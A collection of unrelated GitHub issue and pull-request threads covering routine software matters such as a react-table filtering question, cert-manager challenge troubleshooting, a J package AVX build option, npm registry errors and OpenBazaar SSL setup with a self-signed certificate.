fix: sessionId in first open and session start events

[x] PR title and description conform to Pull Request guidelines.

Description of changes:

fix sessionId in first open and session start events

How did you test these changes?
added test case for assert first open and session start event have the same sessionid
Documentation update required?

[ ] No
[ ] Yes (Please include a PR link for the documentation update)

General Checklist

[x] Added Unit Tests

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 86.49%. Comparing base (f9d9e57) to head (76e068c).

Additional details and impacted files
@@             Coverage Diff              @@
##               main      #68      +/-   ##
============================================
- Coverage     87.42%   86.49%   -0.94%
  Complexity      458      458
============================================
  Files            42       42
  Lines          1686     1688       +2
  Branches        152      154       +2
============================================
- Hits           1474     1460      -14
- Misses          135      150      +15
- Partials         77       78       +1

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Powershell command doesn't work either

I ran the prereqs to upgrade the mailboxes -
When I did the upgrade-distributiongroup (after connecting the session to office365)
The specified distribution group is not eligible to be upgraded or you are not allowed to upgrade this distribution group.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 10dbb56e-1c52-8fa0-0d3d-bab6d50519d0
Version Independent ID: ff6585cd-9d68-ed1c-ee5f-1f451457dbef
Content: Upgrade distribution lists to Office 365 Groups in Outlook
Content Source: Office365-Admin/manage/upgrade-distribution-lists.md
Service: o365-administration
GitHub Login: @Sirkkuw
Microsoft Alias: sirkkuw

@officedocsbot assign @mypil

@boe1 - Thank you for submitting feedback.
I think the best way forward is if you can open a service ticket in your tenant so this can get resolved ASAP. Based on outcome, let me know if it is something that can be called out in the docs.
Please follow this link to contact support for business products: https://docs.microsoft.com/office365/admin/contact-support-for-business-products
If you don't mind please keep us posted here on the resolution and I really want to get this information you are discovering back into the docs.

@officedocsbot close


Can't disable filtering

Describe the bug
I am unable to disable filtering on a column. I have set the following on my table config.
const table = useReactTable({
  columns: defaultColumns,
  data: defaultData,
  getCoreRowModel: getCoreRowModel(),
  onColumnFiltersChange: setColumnFilters,
  getFilteredRowModel: getFilteredRowModel(),
  onSortingChange: setSorting,
  getSortedRowModel: getSortedRowModel(),
  state: { columnFilters, sorting },
  enableFilters: false,
  enableColumnFilters: false,
  enableGlobalFilter: false,
  enableSorting: false,
});

Column setup is as follows:
const defaultColumns = [
  columnHelper.accessor("firstName", {
    id: "firstName",
    cell: (info) => info.getValue(),
    enableColumnFilter: false,
    enableGlobalFilter: false,
    enableSorting: false,
  }),
  columnHelper.accessor((row) => row.lastName, {
    id: "lastName",
    cell: (info) => info.getValue(),
    header: () => Last Name,
  }),
  columnHelper.accessor("age", {
    header: () => "Age",
  }),
];

Am I misunderstanding how this works? From the docs it seems that filtering should not work.
The ability for a column to be column filtered is determined by the following:

The column was defined with a valid accessorKey/accessorFn.
column.enableColumnFilter is not set to false
options.enableColumnFilters is not set to false
options.enableFilters is not set to false

I am controlling the filter via an input field. onChange, I am also logging getCanFilter(), getFilterValue() and getIsFiltered() and the results are
{getCanFilter: false, getFilterValue:<the input value>, getIsFiltered:true}

Attached is an image with the table.options, and the result of getState()

Your minimal, reproducible example
https://codesandbox.io/s/frosty-lamport-9shvh6?file=/src/App.tsx
Steps to reproduce
Type in input field.
Expected behavior
The columns should not filter based on the input field value.
How often does this bug happen?
Every time
Screenshots or Videos
No response
Platform
React:Latest
Browser: All
Operating System:
Platform: darwin
Arch: arm64
Version: Darwin Kernel Version 23.0.0: Fri Sep 15 14:41:43 PDT 2023; root:xnu-10002.1.13~1/RELEASE_ARM64_T6000
react-table version
8.10.7
TypeScript version
5.2.2
Additional context
No response
Terms & Code of Conduct

[X] I agree to follow this project's Code of Conduct
[X] I understand that if my bug cannot be reliable reproduced in a debuggable environment, it will probably not be fixed and this issue may even be closed.

Moment of stupidness on my end I think. My impression was that this was handled by tanstack/form as oppossed to doing a check if column.getCanSort() === true
The wording of this threw me off.

The ability for a column to be column filtered is determined by the following:

The column was defined with a valid accessorKey/accessorFn.
column.enableColumnFilter is not set to false
options.enableColumnFilters is not set to false
options.enableFilters is not set to false


[YouTrack] YouTrack global search field directly from RayCast

Extension – YouTrack
Author: tiulpin

Global search field directly from RayCast with autocomplete like: Stat -> Status:, Ver -> Verified, etc. Or search by keywords from all YouTrack's projects
Describe the feature and the current behavior/state.
Global search request field which available on /youtrack/issues directly from RayCast
Right now you need to hardcode search query in settings to get list of issues and you can search by keywords only from that list.
Who will benefit with this feature?
PMs or POs who need to control and navigate bunch of issues from various projects
Any Other info.

:(


Moved customArgs appends after defaults (Fixes #24)

Moved customArgs appends after defaults to fix #24

@TimothyCole I'm sorry for a late reply, so time ago I found the same issue and removed --class option at all (class is needed mostly for custom app icons, and there is no point to have a default "Lorca" class, because each app would have its own icon - even worse, with the default class icons are cached and totally mess up if you developer multiple Lorca apps at the same time).
Now the recommendation is to add "--class" in your app code, as it's done now in the "counter" example.


Detect correct encoding of raw mail

With most of mail clients, encoding does not make any problem, but some clients neither use latin-1 (which is default charset of MailParser) nor define its charset in its header.
When received mails from such clients, Mailin fails to correctly parse the message.
I've added charset detecting procedure and set MailParser's default charset as UTF-8.

@g6123 Thanks for the pull-request. A few remarks before I can merge this:

Can you use the node-icu-charset-detector module instead of node-detect-encoding? It is maintained and has a better doc.
This adds a dependency on the libicu library. Hence you should make the encoding detection feature optional. Make a test at the bootstrap of mailin (do something similar to what is done in the mailUtilities module).
Please add a test, and make sure it passes. Tests are run with grunt test. You might need to install grunt globally beforehand with sudo npm install -g grunt-cli.

Thanks again.

@Flolagale

Okay, I replaced node-detect-encoding with node-icu-charset-detector. Actually, I used detec-encoding in my past project, but now I guess icu-charset-detector you recommended is much better.
node-icu-charset-detector availability check is now in mailin.js.
This is my first pull-request, so grunt testing seems quite confusing for me. I tried testing in my server, and it's done without errors.

Though, Travis CI has failed, and I just can't understand why. I think I should ask for your help.

Let me have a look. I'll come back to you next week with suggestions. Thanks!

These whole commits seem to be jammed. I'm sorry, but let me make a new pull-request later.
Thank you for your supports so far.

Sure. Please submit a new pull request as soon as you're ready, and I'll merge it.

Okay, now I see. In RFC 5321 only 7-bit character is to be transmitted. So this request was just of no use.
In my case, I was using non-standard software, so I made another receiver compatible with it. I can't really understand why there are so many non-standard programs making coding difficult and confusing. :(
Btw, thank you for your kind response.

Ok. Well done for your custom email receiver !


Challenge stuck in pending - Waiting for HTTP-01 challenge propagation: wrong status code '404', expected '200'

Describe the bug:
My deployment is based on https://opensource.com/article/20/3/ssl-letsencrypt-k3s and has been working well until recently.
I reinstalled my cluster using the same ansible automation as always, deployed a more recent cert-manager of 1.0.2 and deployed the same staging manifests as before. Rather surprisingly, challenges will now remain stuck waiting for challenge propagation and blaming a 404:
NAME                                         STATE     DOMAIN            REASON                                                                               AGE
test-k3s-example-com-ddrrv-3211194715-670589497   pending   test.k3s.example.com   Waiting for HTTP-01 challenge propagation: wrong status code '404', expected '200'   18m

The ingress is looking good:
pi@pi08:~ $ sudo kubectl describe ingress cm-acme-http-solver-k52vn
Name:             cm-acme-http-solver-k52vn
Namespace:        default
Address:          <IP_ADDRESS>
Default backend:  default-http-backend:80 (<none>)
Rules:
  Host             Path  Backends
  ----             ----  --------
  test.k3s.example.com
                   /.well-known/acme-challenge/qmnnZ-B_XY9YjLlEmddSbEqtdG9TfZT1b4Bzws9o9vc   cm-acme-http-solver-nlppf:8089 (<IP_ADDRESS>:8089)
Annotations:
  kubernetes.io/ingress.class:                         traefik
  nginx.ingress.kubernetes.io/whitelist-source-range:  <IP_ADDRESS>/0,::/0
Events:                                                <none>

The private DNS servers resolve the FQDN correctly, and getting the challenge response works fine from curl on any cluster node:
pi@pi08:~ $ curl test.k3s.example.com/.well-known/acme-challenge/qmnnZ-B_XY9YjLlEmddSbEqtdG9TfZT1b4Bzws9o9vc
qmnnZ-B_XY9YjLlEmddSbEqtdG9TfZT1b4Bzws9o9vc.FP8_sF5U0AoaSE5HLdtDadCdJtcLEsEwb3HGt9wqkC8

I'm afraid this leaves me at a complete loss on how to further troubleshoot the issue.
Expected behaviour:
Challenge preflight test to complete successfully.
Steps to reproduce the bug:
Create any certificate resource, such as:
apiVersion: cert-manager.io/v1alpha2
kind: Certificate
metadata:
  name: test-k3s-example-com
  namespace: default
spec:
  secretName: test-k3s-example-com-tls
  issuerRef:
    name: letsencrypt-staging
    kind: ClusterIssuer
  commonName: test.k3s.example.com
  dnsNames:
  - test.k3s.example.com

Anything else we need to know?:
Original domain name references have been modified in issue ticket content.
Environment details::

Kubernetes version (e.g. v1.10.2): v1.17.5+k3s1
Cloud-provider/provisioner (e.g. GKE, kops AWS, etc): None/k3s
cert-manager version (e.g. v0.4.0): 1.0.2 (ARM)
Install method (e.g. helm or static manifests): manifest

/kind bug

Re-imaging the cluster nodes with a fresh OS install and re-deploying everything immediately solved the issue. I still don't know what the problem was, but something must have been broken in the kubernetes network services.


Configuration for testing environment can be customized

This PR

[x] Adds ability to specify custom configuration for testing environment (i.e. this lets me use different database connection details, which is useful for Dockerized environments)
[x] Updates .travis.yml to copy the distributed testing config to the correct location before executing tests.

🌶 🌶 🌶

Thank you, @mdwheele!


[question] wierd scenarios: soft tail heading to ctz-list block / mismatching of ctz size and ctz head

i've met 2 weird scenaios recently:

Mounting failed with errno 84. By checking the raw data, i found that one of the soft tails is heading to a ctz list block.

Reading failed with errno 84. I've found a LFS_TYPE_CTZSTRUCT tag heading to block 0x448 with ctz size of 490592 bytes ( which just exactly fills 120 ctz blocks and this means that the head index is 119). But by checking the ctz block myself, i've found that the real ctz size should be 492844 bytes, so the the ctz head index is 120.

Is anyone meeting the same scenaios?
Or can anyone explain what may cause this?
Thx!

looks like #608


Implement percentile 50%, 85% and 95% on lead time

Some times we need to analyze the percentiles to have more idea about Team health, for example, the median sometimes is dangerous because if you have activities that the team spent 1 day and other activities the team spent 10 or more days the median shows oh the team spent 5 days to finish a task. But if you show the percentile you will see that 95% of activities the team spent 10 days or more and this is so important to help the team improve they predictability.

Hi there!
Thanks for waiting that long. I no longer maintain this project as I'm not using Trello anymore. Thus, I didn't monitor the notifications, so I missed this issue. I updated the README to make it official.
It could change in the future, but no guarantee. If you'd like to contribute, reach me out<EMAIL_ADDRESS>Otherwise, feel free to fork.
Wish you the best.


link css is No effect.

 is No effect。

 is  no effect.

link rel="stylesheet" href="./css/bulma.css" is No effect

Right click your app, and  click 'Inspect' -> 'Network' . please  Check your css is right link .


Unable to use with Vite

I've been following this issue about using the AWS JS SDK with Vite which may have been resolved but persists when using amazon-location-helpers. I'm wondering if the dependencies of this package are outdated (perhaps @aws-amplify/core) that are preventing this from building with Vite correctly.
Here is a simple reproduction repo.
'request' is not exported by __vite-browser-external, imported by node_modules/<EMAIL_ADDRESS>file: /Users/dwight/Sites/app/node_modules/@aws-sdk/client-cloudwatch-logs/node_modules/@aws-sdk/credential-provider-imds/dist/es/remoteProvider/httpRequest.js:4:9
2: import { ProviderError } from "@aws-sdk/property-provider";
3: import { Buffer } from "buffer";
4: import { request } from "http";
            ^
5: /**
6:  * @internal
error during build:
Error: 'request' is not exported by __vite-browser-external, imported by node_modules/<EMAIL_ADDRESS>    at error (file:///Users/dwight/Sites/app/node_modules/rollup/dist/es/shared/rollup.js:1858:30)
    at Module.error (file:///Users/dwight/Sites/app/node_modules/rollup/dist/es/shared/rollup.js:12429:16)
    at Module.traceVariable (file:///Users/dwight/Sites/app/node_modules/rollup/dist/es/shared/rollup.js:12788:29)
    at ModuleScope.findVariable (file:///Users/dwight/Sites/app/node_modules/rollup/dist/es/shared/rollup.js:11440:39)
    at FunctionScope.findVariable (file:///Users/dwight/Sites/app/node_modules/rollup/dist/es/shared/rollup.js:6372:38)
    at ChildScope.findVariable (file:///Users/dwight/Sites/app/node_modules/rollup/dist/es/shared/rollup.js:6372:38)
    at FunctionScope.findVariable (file:///Users/dwight/Sites/app/node_modules/rollup/dist/es/shared/rollup.js:6372:38)
    at ChildScope.findVariable (file:///Users/dwight/Sites/app/node_modules/rollup/dist/es/shared/rollup.js:6372:38)
    at Identifier.bind (file:///Users/dwight/Sites/app/node_modules/rollup/dist/es/shared/rollup.js:7439:40)
    at CallExpression.bind (file:///Users/dwight/Sites/app/node_modules/rollup/dist/es/shared/rollup.js:5269:23)

Hi @dwightwatson thank you for opening the issue.
Looking at your stack trace the error seems to be coming from @aws-sdk/client-cloudwatch, I need to check if it's pulled in by one of the dependencies of our package.
Regardless of that, have you tried any of the suggested workarounds from the aws sdk js issue you've linked?

Closing the issue due to lack of activity.
If the issue persists, please feel free to reopen.


Unable to execute some commands with custom .bashrc (exec fish in the last line)

I modified my .bashrc to use fish and noticed that wslgit wasn't working.
The following commands will work.
> wsl -e bash -c "git version"
git version 2.31.0
> git version
git version 2.31.0

The following command will not run git, but will start fish.
> git pull
Welcome to fish, the friendly interactive shell
Type `help` for instructions on how to use fish

Wslgit tries to be "smart", so some commands (clone, fetch, pull and push) start bash in interactive mode and the rest start bash in non-interactive mode, see Advanced Usage in the readme.
If you don't need to run .bashrc at all for git commands that access remote sources then just set WSLGIT_USE_INTERACTIVE_SHELL=false in your Windows environment variables.
Or you can make .bashrc not start fish if bash was started by wslgit by checking if WSLGIT is set, for example somthing like this:
[ -z "$WSLGIT" ] && exec fish

Or you can make .bashrc not start fish if bash was started by wslgit by checking if WSLGIT is set, for example somthing like this:
[ -z "$WSLGIT" ] && exec fish

@carlolars Thank you for your quick response ! That works for me.
I would like to continue using this wonderful product.


Declare leveldb and mongodb support as "extras"

Instead of instructing users to manually install the additional dependencies required to use the leveldb and mongodb storage backends, use setuptools "extras" to declare two optional features (leveldb and mongodb), so that pip3 install ndn-python-repo[leveldb] syntax can be used to get automatic dependency management.
https://setuptools.readthedocs.io/en/latest/setuptools.html#declaring-extras-optional-features-with-their-own-dependencies

Updated with a9dfcdfa470b1e6f642388b7668f3f004e04d292.
I will update the instructions soon.

Seems that the users still have to manually install the databases, and install ndn-python-repo with database dependency specified.
How about adding plyvel and pymongo as required dependencies, so that the users don't have to worry the latter step?

Seems that the users still have to manually install the databases, and install ndn-python-repo with database dependency specified.

I don't understand what you mean. Please rephrase.

How about adding plyvel and pymongo as required dependencies, so that the users don't have to worry the latter step?

What latter step?

Seems that the users still have to manually install the databases, and install ndn-python-repo with database dependency specified.

I don't understand what you mean. Please rephrase.

Setuptools extras only handle dependencies on the python DB connectors. Users still have to install the databases themselves, which has to be done manually.

How about adding plyvel and pymongo as required dependencies, so that the users don't have to worry the latter step?

What latter step?

If plyvel and pymongo are required, users don't have to use pip3 install ndn-python-repo[leveldb]. When users want to switch to another database, they only have to install the database themselves.

You're conflating leveldb and mongo which are very different beasts.

mongodb requires separate installation (and configuration, and execution, and maintenance, etc.) of the database server. This is completely expected and it's not something you have to worry about. Users that choose to use the mongodb backend will know this already.
leveldb is a database library. Unlike mysql and mongo, it doesn't require installing and running a separate database server, but just the leveldb library (which, from what I can see, is included in the plyvel wheel, so in most cases users have nothing extra to do).

In other words, why bother declaring them as optional, and let users install them with pip3 install ndn-python-repo[leveldb]?

Because they are optional. The question is why do you want to force them onto everyone? Moreover, it's highly unlikely that one deployment of ndn-python-repo will need multiple storage backends at the same time. The extra deps are just unnecessary stuff most of the time.

Thanks for the detailed explanation. I agree with what you said

bb4c791079bb392cb0235fb30b04dd5dc3c1d374 : Added instructions on the README page for installing with optional dependencies.


Investigate Confirmation on User's Demand, currently relies on SDK request

An external source is requesting to connect with our wallet, sign a transaction/message. We should always display the modal and the origin of the request or that the origin URL is unknown.

@smaroudasunicorn

We always display the confirmation modal, there is no question about it.
In the case of Unknown URL an unknown source is asking for access and most probably this means that the user is being scammed or there is high probability of loss of funds and other undesired consequences. Only in this case we should display the checkbox to make sure user is aware of the risks and not proceeding without reading the warning (all the other templates that can be seen in Figma do not have a checkbox). So my suggestion is to keep the checkbox for this case that will be rarely experienced.

@smaroudasunicorn Updated design and wording:

What do you think about that (from my previous comment):

Other than that I think it's high time to implement the updated version of all these templates for signing messages, allowing access, RAW transactions, with errors and warnings, etc. I have designed (and synced with Nikita) pretty neat templates which require only minor modifications of our existing template but will bring more consistency and professional look and feel of the UI as currently it's a bit messed up. Also it creates confusion for QA team while testing as the Figma reference is different from implementation.
May be we can include it as task in the next sprint. I don't see huge amount of work needed but rather more attention to details such as colors, opacity, labels, wording, external linking with proper icons, updated button labels etc.

Kindly ensure that you are aware of the request origin. Allowing access might cause undesired results, including loss of your funds.


Add comments to enable debug logging tests

Description

Fixes #
Add comments to enable debug logging tests
Rename TestLogFilteringFunctions class

PR information

[ ] The title of the PR is clear and informative.
[ ] There are a small number of commits, each of which has an informative message. This means that previously merged commits do not appear in the history of the PR. For information on cleaning up the commits in your pull request, see this page.
[ ] If applicable, the PR references the bug/issue that it fixes in the description.
[ ] New Unit tests were added for the changes made and CI is passing.

Quality of Code and Contribution Guidelines

[ ] I have read the contribution guidelines.

Child of #939


feat(ivc): make sirius compatible to fold zkevm circuits

Motivation
several changes that makes sirius compatible to fold zkevm circuits
Changes Overview

The build failed because of this error. It seems the github use stable rust version instead of nightly. @cyphersnake
error[E0554]: `#![feature]` may not be used on the stable release channel
 --> /home/runner/.cargo/git/checkouts/halo2-6b4607134e1c93ad/2ef54cf/halo2_proofs/src/lib.rs:8:1
  |
8 | #![feature(stmt_expr_attributes)]
  | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

For more information about this error, try `rustc --explain E0554`.
error: could not compile `halo2_proofs` (lib) due to 1 previous error

close because duplicate with #323


#1056 - Add test for Linux vs Mac same test count. Randomize Linux test run order.

Add a test to each test class that compares the number of tests on Linux vs Mac
Add a file to tests that holds extensions to shuffle a general array
shuffle the tests in LinuxMain.swift

Description

Motivation and Context

#1056
How Has This Been Tested?

Checklist:

[ ] I have submitted a CLA form
[ ] If applicable, I have updated the documentation accordingly.
[ ] If applicable, I have added tests to cover my changes.

Codecov Report

Merging #1066 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master    #1066   +/-   ##
=======================================
  Coverage   89.59%   89.59%
=======================================
  Files          35       35
  Lines        1711     1711
=======================================
  Hits         1533     1533
  Misses        178      178

Flag
Coverage Δ

#Kitura
89.59% <ø> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 43b7718...26c6e2f. Read the comment docs.


HUE Emulation some device unresponsive alexa

some device unresponsive under my alexa discovery.
Does anyone has this problem?

How can I control hue hub with Alexa?


j: add avxSupport option

Adds an avxSupport option to the J package.  For now I've set this to default to false since that matches the behaviour prior to this change, and J does seem like the kind of package where you might want AVX support out of the box.
Personally, I think I'd prefer defaulting to false and requiring opt-in for AVX support so that the default build works more widely across machines, but it's not really something I feel strongly about either way.
Motivation for this change
Package wouldn't build as-is on non-AVX x86-64 systems.  As is currently, it still doesn't build out of the box, but you can at least straightforwardly set avxSupport = false instead of having to override the build step.
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

Hm, is it true that current-generation «Pentium» laptop CPUs lack AVX? If yes, I am definitely in favour of defaulting to no AVX.

@7c6f434c: AVX seems to have been introduced in Intel CPUs with Sandy Bridge in 2011, and then later by AMD the same year. I suspect all current (and recent) laptops support AVX just fine...
To me, I feel it'd normally make sense to err on the side of "default to false" with flags like this to prioritise wider support by default--2011 isn't that long ago. The thing that makes me hesitate a bit is how J as a language is kind of specialised toward heavy array processing, and fits the niche where you want to make good use of SIMD extensions when possible.

@7c6f434c: AVX seems to have been introduced in Intel CPUs with Sandy Bridge in 2011, and then later by AMD the same year. I suspect all current (and recent) laptops support AVX just fine...

I see some contradictory reports, including reports like that https://www.eurogamer.net/articles/digitalfoundry-2017-intel-pentium-g4560-budget-cpu-king-review_1 where people (who allegedely benchmarked the physical CPU in question) say that a new Intel Pentium CPU in the end of 2017 lacked AVX2, while not saying anything about AVX…

Oh interesting! Updated the PR to default to false instead, since it seems we all feel that makes more sense as a default. It could always be changed later down the line once AVX support is more widespread.

Oh interesting! Updated the PR to default to false instead, since it seems we all feel that makes more sense as a default. It could always be changed later down the line once AVX support is more widespread.

Or at least better documented… slightly contradictory reports, slightly unclear Intel documentation…


Client Encryption : Add nuget info to Encryption csproj and compile against preview SDK

Description
Make Encryption project depend on preview SDK.
Add nuget related attributes to Encryption.csproj
Type of change

[ ] New feature (non-breaking change which adds functionality)

@j82w can you please guide package generation integration in official build.
ref: https://github.com/Azure/azure-cosmos-dotnet-v3/blob/master/azure-pipelines-official.yml


Add TCK model test for Actions

More on evolving the TCK: #316. Add simple TCK model tests for Actions.
Currently only implemented for java-support, which is set up for TCK model tests. This did uncover a couple of things in the java-support implementation: side effects were not being returned to the proxy, and there was no support for failure replies.

This did uncover a couple of things

nice! Best applied usage of a TCK :)

As it's been a couple of weeks, I'll merge this now, and make it simpler for the next TCK extensions. Post-merge reviews still welcome of course.


add option to print output when meet error

This PR add a with_output option that, when enabled, appends the output to the error message.
This way, if an error occurs, users can immediately see what happened, making it easier to diagnose and resolve issues.

:warning: Please install the  to ensure uploads and comments are reliably processed by Codecov.
Codecov Report
Attention: Patch coverage is 25.00000% with 6 lines in your changes missing coverage. Please review.

Project coverage is 98.81%. Comparing base (eef3a25) to head (14e1dcd).
Report is 55 commits behind head on main.

Files with missing lines
Patch %
Lines

probe/common.go
25.00%
3 Missing and 3 partials :warning:

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff            @@
##             main     #560     +/-   ##
=========================================
  Coverage   98.80%   98.81%
=========================================
  Files          85       82      -3
  Lines        5867     4792   -1075
=========================================
- Hits         5797     4735   -1062
+ Misses         51       37     -14
- Partials       19       20      +1

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Add Nuimo.app v1.7.0

After making all changes to the cask:

[x] brew cask audit --download {{cask_file}} is error-free.
[x] brew cask style --fix {{cask_file}} reports no offenses.
[x] The commit message includes the cask’s name and version.

Additionally, if adding a new cask:

[x] Named the cask according to the token reference.
[x] brew cask install {{cask_file}} worked successfully.
[x] brew cask uninstall {{cask_file}} worked successfully.
[x] Checked there are no open pull requests for the same cask.
[x] Checked that the cask was not already refused in closed issues.

Travis failure:
>>> brew cask style Casks/nuimo.rb
== Casks/nuimo.rb ==
C:  5: 77: Trailing whitespace detected.
1 file inspected, 1 offense detected


Fixing MapperError - ErrorProtocol has been renamed to Error in Swift 3

Thanks for this @johosher please track https://github.com/lyft/mapper/pull/76 instead for Swift 3 compatibility!


npm publish registry URL deprecated: "This endpoint is deprecated. Use https://replicate.npmjs.com instead."

Description:
https://registry.npmjs.org is deprecated (no longer works) for publishing packages, resulting in the following error:
npm ERR! error creating tlog entry - (502) Bad Gateway

Making a request to the current registry URL gives the following error via an npm-notice header: "This endpoint is deprecated. Use https://replicate.npmjs.com instead." This notice is not present in requests for eg https://registry.npmjs.org/yocto-queue.
However, updating the registry URL makes installing packages 404:
npm ERR! code E404
npm ERR! 404 Not Found - GET https://replicate.npmjs.com/yocto-queue/-/yocto-queue-0.1.0.tgz - not_found
npm ERR! 404
npm ERR! 404  'https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz' is not in this registry.
npm ERR! 404 This package name is not valid, because
npm ERR! 404  1. name can only contain URL-friendly characters

Action version:
uses: actions/setup-node@v4
Platform:

[x] Ubuntu
[ ] macOS
[ ] Windows

Runner type:

[x] Hosted
[ ] Self-hosted

Tools version:

Node v20.9.0, npm 10.1.0
Repro steps:
Trigger a GitHub Actions workflow with a npm publish --provenance --access public step
Expected behavior:
Packages should install and publish, as they were previously. I've been using this workflow without issue for about a year, and it just stopped working with the errors yesterday afternoon.
Actual behavior:
Either there is a Bad Gateway error in publishing with the deprecated registry URL, or there is a Bad Request error installing packages with the updated registry URL. I suspect this may require temporarily supporting a registry for installing and another for publishing.

Self-comment just to add a bump here... This may be an issue for a minority ATM, but having the correct registry for publishing with --provenance is pretty critical to the overall ecosystem, as is dealing with the deprecated endpoint.

Hi @shgysk8zer0,
Thank you for creating this issue. We will investigate it and provide feedback as soon as we have some updates.

@mahabaleshwars It may have been only a temporary issue with registry.npmjs.org. I'm unsure. I re-ran an old run and it did  successfully publish.
I'll close the issue, however that deprecation warning might still be worth looking into.


[W5.7][T10-2]Yang Yafei

this is PR for W5.7
add new command findFriends

Interesting feature. Could be useful for further improvements.


Cherry-Pick: fix syntax error

Python have list comprehension, but do not have dict comprehension.
(cherry picked from commit 41c57bac52d13dac580d3d2662b295e75b6e84e5)

Link #1332


Can't get SSL to work: http: TLS handshake error from <IP_ADDRESS>:4001: EOF

Trying for a week or so...
2018/11/26 12:49:12 http: TLS handshake error from <IP_ADDRESS>:4001: EOF
2018/11/26 12:49:12 http: TLS handshake error from [::1]:4001: EOF
I tried everything I found (incl. docs and the topic https://github.com/OpenBazaar/openbazaar-go/issues/829
As soon as the server starts, above message shows up. Tried with Ubuntu and Debian.

Forgot to mention, that I can login, when I disable SSL in both, server and client.
iptables has port 4002 open and I have tried all available versions of how to create the SSL keys etc.

@agd-media Thanks for the report. We'll get to this as soon as we can. Please let us know if you discover a fix.

@agd-media apologies for the delayed response. Can I get a bit more information about the environment that you are trying to run in?
lsb_release -a
dpkg -s openssl python golang docker | grep 'Version\|Package'

Also what do your configuration files look like?

@agd-media apologies for the delayed response. Can I get a bit more information about the environment that you are trying to run in?
lsb_release -a
dpkg -s openssl python golang docker | grep 'Version\|Package'

Also what do your configuration files look like?

Package: openssl
Version: 1.1.0f-3+deb9u2
The VPS is running Debian 9. On my last try I used the pre compiled binaries, but before that, I had installed go from source, which brought me to the same error in the end.
Everything I changed in congfig was the following:
"Gateway": "/ip4/<IP_ADDRESS>/tcp/4002", (I have tried the server ip before, but the error persisted)
....
"JSON-API": {
"AllowedIPs": [], (also tried <IP_ADDRESS> or the client ip - no success)
"Authenticated": true,
"CORS": null,
"Enabled": true,
"HTTPHeaders": null,
"Password": "HashedPassword generated by setapicreds"
"SSL": true,
"SSLCert": "/home/openbazaar/.openbazaar2.0/server.crt",
"SSLKey": "/home/openbazaar/.openbazaar2.0/server.key",
"Username": "XXXXXX"

@agd-media i'll try to reproduce this in a virtualbox setup. i'll get back to you on what I find out.

@agd-media i'll try to reproduce this in a virtualbox setup. i'll get back to you on what I find out.

Thanks alot! Btw, the error shows shortly after starting the server. It takes a few seconds or sometimes even longer. I don't need to try to connect with a client, which doesn't work anyway (only works when SSL is disabled)

@agd-media do you see something similar to this in your ~/.openbazaar2.0/logs/ipfs.log ?
I wonder if this might be related? I also saw http: TLS handshake error from <IP_ADDRESS>:4001: EOF in the server output, I'm wondering if this is expected behaviour, as there are plenty of other connections on 4001, that appear to work.
using debian stretch.
ipfs.log:

{"id":11801,"level":4,"message":"got error on dial to /ip4/<IP_ADDRESS>/tcp/4001: \u003cpeer.ID NzhiRV\u003e --\u003e \u003cpeer.ID fSqQvA\u003e dial attempt failed: dial tcp4 <IP_ADDRESS>:0-\u003e<IP_ADDRESS>:4001: connect: no route to host","module":"swarm2","time":"2018-12-02T19:46:54.861332682Z"}

@allen-munsch
Yes. I find similar entries ipfs.log (dial attempt failed: dial tcp4), but not the TLS handshake errors.
If this is expected behaviour, I can probably ignore it, but still the client won't connect with SSL. If I disable SSL only in the client, an expected error message shows up at the server (blahblah this doesn't look like SSL)
Probably the error message and the problem to connect with a client (Win10) are not related. I will try a Linux client to see if it connects with SSL at least. Then I could simply ignore that message.

@agd-media Hi, this might a bit late but should be a solution for you.

Assume you are going to connect to localhost (<IP_ADDRESS>) for local development or testing.
SSL for localhost is a bit tricky when compare to the regular one, <IP_ADDRESS> is not recommended, with hostname 'localhost' is much better.

Please refer to the following procedures to setup SSL for localhost server/client connection.

Create self-signed certificate by following one-line command

openssl req -x509 -out localhost.crt -keyout localhost.key \
  -newkey rsa:2048 -nodes -sha256 \
  -subj '/CN=localhost' -extensions EXT -config <( \
   printf "[dn]\nCN=localhost\n[req]\ndistinguished_name = dn\n[EXT]\nsubjectAltName=DNS:localhost\nkeyUsage=digitalSignature\nextendedKeyUsage=serverAuth")

two files will be generated, localhost.crt and localhost.key

Edit the openbazaar-go server config file

"JSON-API": {
  ......
  ......
  "SSL": true,
  "SSLCert": "/absolute/path/to/localhost.crt",
  "SSLKey": "/absolute/path/to/localhost.key",
}

Import localhost.crt cert to your computer, and set to always trust
Start your server and then start your client.
Create a server connection in the client's config, and use localhost in the IP field rather than <IP_ADDRESS>

Enjoy~

Thank you for following up on this, @puxos. You might noticed that the openbazaar-go daemon has a gencerts command which produces cert.pem and key.pem which are X509 keypairs. Would you mind checking if these artifacts would also work with your provided instructions and perhaps submit a pull request updating the docs/ssl.md document with your findings if necessary?


Improve WebSocket producerBuilderTest

Motivation
Better test coverage
Modifications
Trivial changes
Verifying this change

[x] Make sure that the change passes the CI checks.

This change added tests and can be verified as follows:

Run AbstractWebSocketHandlerTest::producerBuilderTest

Does this pull request potentially affect one of the following parts:
If yes was chosen, please highlight the changes

Dependencies (does it add or upgrade a dependency): (yes / no) no
The public API: (yes / no) no
The schema: (yes / no / don't know) no
The default values of configurations: (yes / no) no
The wire protocol: (yes / no) no
